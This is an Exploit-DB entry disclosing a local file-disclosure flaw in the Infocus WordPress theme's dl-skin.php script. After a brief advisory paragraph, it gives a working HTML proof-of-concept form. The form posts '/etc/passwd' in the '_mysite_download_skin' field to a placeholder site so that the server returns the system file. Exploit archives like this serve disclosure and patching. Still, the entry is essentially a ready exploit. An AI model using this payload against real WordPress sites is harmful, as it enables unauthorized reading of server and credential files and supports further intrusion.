WordPress Theme Infocus - '/infocus/lib/scripts/dl-skin.php' Local File Disclosure

EDB-ID:

39211

CVE:





Platform:

PHP

Date:

2014-06-08


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source: https://www.securityfocus.com/bid/67934/info

The Infocus theme for WordPress is prone to a local file-disclosure vulnerability because it fails to adequately validate user-supplied input.

Exploiting this vulnerability would allow an attacker to obtain potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks. 

<html>
<body>
<form action="http://www.site.com/wp-content/themes/infocus/lib/scripts/dl-skin.php" method="post">
Download:<input type="text" name="_mysite_download_skin" value="/etc/passwd"><br>
<input type="submit">
</form>
</body>
</html>